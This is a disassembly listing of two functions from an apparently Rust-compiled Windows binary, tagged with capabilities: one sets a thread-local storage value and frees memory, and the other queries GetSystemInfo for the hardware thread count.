Function at 0x14003fdf0
Capabilities:
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rcx
mov rsi, qword [rcx]
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fe0f
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
mov edx, 1
call sub.KERNEL32.dll_TlsSetValue
mov edx, 0x10
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
mov rcx, qword [rsi]
test rcx, rcx
jne 0x14003fe3f
mov rcx, rsi
call dbg.lazy_init
mov rcx, rax
xor edx, edx
add rsp, 0x28
pop rdi
pop rsi
jmp sub.KERNEL32.dll_TlsSetValue

Function at 0x140040880
Capabilities:
Get system information on windows

Disassembly:
push rsi
sub rsp, 0x50
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
test rax, rax
je 0x1400408b5
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x1400408c5
lea rax, str.The_number_of_hardware_threads_is_not_known_for_the_target_platform
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
add rsp, 0x50
pop rsi
ret